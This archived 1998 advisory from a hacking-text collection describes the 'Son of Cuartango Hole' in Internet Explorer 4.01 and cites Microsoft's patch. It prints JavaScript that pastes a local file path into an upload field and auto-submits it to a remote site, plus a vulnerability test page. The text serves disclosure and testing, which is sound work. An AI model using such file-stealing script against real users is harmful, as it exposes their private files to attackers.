home *** CD-ROM | disk | FTP | other *** search
/ Hackers Toolkit v2.0 / Hackers_Toolkit_v2.0.iso / HTML / archive / Texts / hacking / cuartango-son.txt < prev    next >
Text File  |  1999-11-04  |  5KB  |  135 lines

  1. The Son of Cuartango Hole 
  2.  
  3. http://pages.whowhere.com/computers/cuartangojc/son1.html
  4.  
  5. Affected software
  6. Microsoft Internet Explorer 4.01
  7.  
  8. Fixes
  9. Microsoft has released a fix  :  Microsoft Security Site 
  10. http://www.microsoft.com/security/bulletins/ms98-015.asp
  11. Microsoft names the vulnerability as "Untrusted Scripted Paste". 
  12. They have created a new USP patch.
  13.  
  14. Technical description
  15.  
  16.                           There is an  input form field used to tranfer files from the browsing computer to a WEB site this
  17.                           input field is HTML coded as :
  18.  
  19.                           <input type="file" name="filename" size="30">
  20.  
  21.                           Theoretically this input field can be filled only by the user by clicking a "Browse" button or
  22.                           typing the file name.
  23.                           In order to avoid a security hole, script files are not allowed to modify the value of this
  24.                           input   field, the sentence bellow will not work   :
  25.  
  26.                           document.forms[0].filename = "C:\config.sys";
  27.  
  28.                           The Cuartango Hole revealed that a single scripted "copy and paste" operation could write a file
  29.                           name on the input field,   Microsoft's old  USP patch fixed this single  "copy and  paste"
  30.                           vulnerability.
  31.                           There is a workaround making the "paste" operation work again. The idea is : create a "textrange"
  32.                           object with the selection of the file input and then paste over this "textrange" object. 
  33.  
  34.                           The code below is a bit more sophisticated than the "Cuartango Hole" code :
  35.  
  36.                           T1 is a hidden input field defined in a second  form containing  the file pathname to be copied to
  37.                           the clipboard.
  38.  
  39.  
  40.                           <body onload="getfile()">
  41.  
  42.                           function getfile()
  43.                           {
  44.                           document.forms[1].T1.select();
  45.                           document.execCommand("copy");
  46.                           document.forms[0].filename.select();
  47.                           var rng = document.selection.createRange();
  48.                           rng.execCommand("paste");
  49.                           document.forms[0].submit();
  50.                           }
  51.  
  52.                           The result is that the file  is POSTED  to the malicious WEB site defined in the form action
  53.                           property.
  54.                           A similar  code will also work inside an HTML formatted e-mail. 
  55.  
  56.                           The Cuartango Hole code was very similar :
  57.  
  58.                           function getfile()
  59.                           {
  60.                           document.forms[1].T1.select();
  61.                           document.execCommand("copy");
  62.                           document.forms[0].filename.select();
  63.                           document.execCommand("paste");
  64.                           document.forms[0].submit();
  65.                           }
  66.  
  67.  
  68.  
  69. Example Exploit
  70.  
  71. <html>
  72.  
  73. <head>
  74. <meta name="keywords"
  75. content="son of cuartango hole,cuartango hole,cuartango hack,cuartango,security,security site,USP,USP patch,security web,hack,security,risk,hole,security hole,explorer">
  76. <title>Son of Cuartango Hole Test</title>
  77. <bgsound src="images/gallarda.mid" loop="-1">
  78. </head>
  79.  
  80. <body onload="getfile()">
  81. <script language="JavaScript">
  82.  
  83. function getfile()
  84. {
  85. document.forms[0].filename.select(); // onload="getfile()"
  86. var rng = document.selection.createRange();
  87. document.forms[1].T1.select();
  88. document.execCommand("copy");
  89. rng.execCommand("paste");
  90. if(document.forms[0].filename.value == "")
  91.         alert("Your browser does not have the security hole");
  92. else
  93.         alert("Security hole in browser -- " + navigator.userAgent );
  94. }
  95.  
  96. </script>
  97.  
  98.  
  99. <p align="center"><big><font color="#FF0000"><big><big>The Son of Cuartango Hole Test</big></big></font></big><small></p>
  100. </small>
  101.  
  102. <p align="center"> </p>
  103. <small>
  104.  
  105. <form enctype="multipart/form-data" method="post"
  106. action="http://www.angelfire.com/cgi-bin/bedit">
  107.   <div align="center"><center><p><strong>This is a test to verify if you are affected by the
  108.   Son of Cuartango Hole</strong>.<br>
  109.   <strong>If file name (/test.txt) is made visible in the box below then you are effected.</strong></p>
  110.   </center></div><div align="center"><center><p> <input type="file" name="filename"
  111.   size="15"></p>
  112.   </center></div>
  113. </form>
  114.  
  115. <form method="POST">
  116.   <input type="hidden" name="T1" value="/test.txt"><p> </p>
  117. </form>
  118. </small>
  119.  
  120. <p align="center"><font size="3" color="#0000FF"><a
  121.  
  122. href="http://pages.whowhere.com/computers/cuartangojc/son1.html"><strong>Back to Son Of
  123. Cuartango Hole page</strong></a></font></p>
  124.  
  125. <p align="center">    <a href="mailto:cuartangojc@mx3.redestb.es">Juan
  126. Carlos Garcφa Cuartango</a></p>
  127.  
  128. <p align="center"><font face="Arial"><img src="/cgi-bin/Count.cgi" width="97" height="24"><small><br>
  129. </small></font></p>
  130.  
  131. <p><font size="2" face="Garamond">Last update 1998  Nov 15 A±o del Se±or de
  132. 1998 </font></p>
  133. </body>
  134. </html>
  135.